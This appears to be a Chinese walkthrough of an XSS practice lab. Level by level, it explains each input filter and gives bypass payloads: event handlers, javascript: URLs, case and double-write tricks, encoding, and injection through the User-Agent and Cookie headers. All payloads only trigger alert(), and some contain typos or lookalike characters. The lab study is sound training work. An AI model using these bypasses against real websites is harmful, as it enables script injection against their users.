Less-1
进入页面显示的是这个画面
我们这关用的是最基本的语句之间插入,
<script>alert(1)</script>
触发xss漏洞
第一关完成
Less-2
在第二关中我们看到的是这个页面
在这个关卡中我们按照第一关的做法,发现不能成功
查看网页源码
其中搜索语句语句被预编译了
也可以打开关卡的源码查看,发现里面被htmlspecialchars函数处理过。
htmlspecialchars函数功能:
把预定义的字符 “<” (小于)和 “>” (大于)转换为 HTML 实体:
我们看到这个页面
在这里我们可以看到存在input的弹窗
我们在这里进行闭合,后面加上注释
"> <script>alert('xss')</script> //
触发xss漏洞,第二关完成。
Less-3
第三关的页面如下:
正常触发无法成功
重复上几关的操作我们发现input也被 htmlspecialchars函数处理过
打开查看网页源码
我们可以看到其中的value部分被单引号闭合,
而且 htmlspecialchars函数默认不对 ' 生效
这样我们再搜索内输入闭合语句即可生效,以下几个都可以
' onclick='javascript:alert(/xss/)
'onclick='alert(/xss/)
' onm ouseover='javascript:alert(/xss/)
'onmouseover='alert(/xss/)
onmouseover事件会在鼠标指针移动到指定的对象上时触发事件发生。可以结合JS实现一些CSS特效。
这里也涉及到javascript伪协议可以自信上网了解
输入完成再点击value空白处即可触发xss漏洞
Less-4
我们看到的页面如下:
按照第一关的思路试探
上传经典语句,然后查看源码
我们看橘色字体发现他这里对尖括号进行了转义
但是我们可以看到value部分并没有过滤
我们就可以闭合value部分来实现xss
"onclick="alert(/xss/)
Level 5
简单的测试一下,<script>alert(1)</script>。
查看源码
看到单引号并没有被转义,
这里我们可以发现script部分缺失了一点
我们再试onclick发现也是一样的。
存在函数改变script和onclick
查看php源码会发现他会改变script和on
这时候我们只能先闭合前面的标签,用 ">
然后因为onclick改变,创造一个没有on的语句
最后就是这个语句
"> <a href="javascript:alert('xss')">
Level 6
用基本的语句测试一下
查看源码
发现单引号被过滤了,而且script也被改变
我们试着使用上一关的代码,
发现herf也被过滤了
我们查看php源码可以看到
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
因为str_replace是区分大小写的。
我们改变href的大小写就可以了
"> <a HREF="javascript:alert('xss')">
Level 7
一样的测试一下
我们发现
script直接变成了空,试着双写绕过
<sscriptcript>alert(1)</sscriptcript>、
查看源码
发现单引号被过滤
在value这部分,我们只需要闭合前面的括号就可以了
"><sscriptcript>alert(1)</sscriptcript>
Level 8
我们看见有友情链接
输入基本语句之后,我们可以看到script给过滤了
我们再试试其他的有没有被过滤
我们尝试之后可以看到onclick和javascript都被改变了
这里就可以尝试实体化编码绕过或者ur编码绕过
网上可以进行转换查看
转化程度不一样编码也并不一样
javascRipt:alert('xss')
Level 9
和上一关一样的代码试试
这里提示连接不合法
猜测应该是匹配相应字符
我们这里就要猜测匹配的字符是什么
打开php源码可以发现匹配的字符是http://
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
那么我们只需要在上一关的基础是加上http://(这里的东西一定要注释掉)
javascRipt:alert('111')//http://
Level 10
这一关只有单独的一张图片,那么我们考虑应该从图片入手
查看源代码
我们可以看到呀三哥隐藏起来的input
我们可以看到这三个隐藏起来的语句也不一样,我们尝试用构造函数
构造语句:?keyword=<script>alert(1)</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"
我们可以看到t_sort语句可以绕过
keyword="tesr"οnclick="alert(1)&t_sort="type="text" οnclick="alert(1)
Level 11
查看源代码
我们发现value部分可能存在xss,所以用burpsuite抓包,
?keyword=1&t_sort=%22%20οnclick=%22%20alert(/xss/)修改
然后直接可以完成
Level 12
查看一下源代码
用burpsuit抓包,看到value里面的值明显就是
User-Agent里面的的内容
所以我们这次在 User-Agent里面做手脚
User-Agent: "οnclick="javascript:alent(/xss/)
放包就可以了
Level 13
直接抓包
我们观察发现cookie的参数到了value里面
所以这次从cookie操作
Cookie: user=call+me+maybe%3F"οnclick="javascript:alent(/xss/)
直接放包就可以以了
Level 15
这关需要在php源码里面改一下配置
https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js
被墙了
我们换一个https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js
开始
查看源码
我们看到了ng-include
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include
属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
可以看到我们提交的参数src的值被插入到了标签的class属性值中,但是前面还有ng-include这样的字符。
这里就是将1.png这个文件给包含进来
然后可以构造
?src='level1.php?name=<img src=1 οnerrοr=alert(1)>'
就是访问了第一关,同时执行了xss
可以自行上网百度onerror事件
onerror 事件
实例
当视频的媒体数据加载期间发生错误时执行 JavaScript :
<video οnerrοr="myFunction()">
定义和用法
onerror 事件在视频/音频(audio/video)数据加载期间发生错误时触发。
提示: 影响媒体数据加载的相关事件有:
Level 16
经典的语句基本都被过滤
空格也被过滤了。也就意味着我们无法通过空间来将字符分隔进行语义的区分,不过我们还可以用回车来将它们分开。
可以用回车的URL编码格式%0a来表示。
?keyword=<img%0asrc="111"%0aοnerrοr=alert('xss')>
完成